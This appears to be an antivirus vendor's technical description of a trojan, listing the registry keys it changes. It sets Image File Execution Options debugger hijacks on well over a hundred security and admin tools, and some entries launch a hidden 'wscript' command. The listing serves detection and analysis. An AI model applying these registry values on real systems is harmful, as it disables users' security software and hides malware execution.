Trojan.MulDrop11.24884

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdogWare.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit_manager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\unit.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chromodo_updater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pricefountainw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Plugin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop_Locker] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GeekBuddyRSP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\launcher_service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootsvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdtc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panbss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\z.tmp] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svncxhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWAGENT.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MWASER.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UdaterUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McScript_InUse.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FrameworkService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tps.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfevtps.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\myAgtSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfeann.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctlx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traycser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TRAYICOC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpmapp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtest.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gotopbr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sfc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spomua.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TMBMSRV.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNTMon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pccntupd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmListen.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmProxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdvirth.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CNTAoSMgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTRtScan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\networx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seccenter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windefender.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nlas.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svehost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iptray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdwtxag.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud16.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud15.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\helper.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareProtectionClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scrss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdsafecenter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DefenderDaemon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmPfw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcGenericHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smssm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostedAgent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlkeyssrvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spnsrvnt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlsrtsrvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snetcfg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vprot.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeterConSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360ChkServ.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfguard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\N360.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winIogon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrlC.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchose.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.dll] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\server.dat] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wqscmc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Q.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jozruq.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Smc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvpncsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Njeeves.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmon32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uninst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nip.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nsesvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traysser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduProtect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webtmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcnoct.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xstartui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinCtrProc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpyHunter4.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqsgmo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SH4Service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sapissvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\emlproxy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ONLINENT.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OPSSVC.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\quhlpsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setap_c.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nheqminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpzaw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Isass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nethtsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smcc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netupdsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wintmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syshost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtgwatchdog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PRTG Traffic Grapher.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trayeser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBGuard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduHips.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1sass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdpthread.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\native.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeter.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPortScan3.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Cain.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDPSS.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safesurf.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xscan_gui.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNT.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MailCracker.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rootkitremover.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MvtApp.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\restarter_x64.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASMAIN.EXE] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoDENGI.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pex.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs'
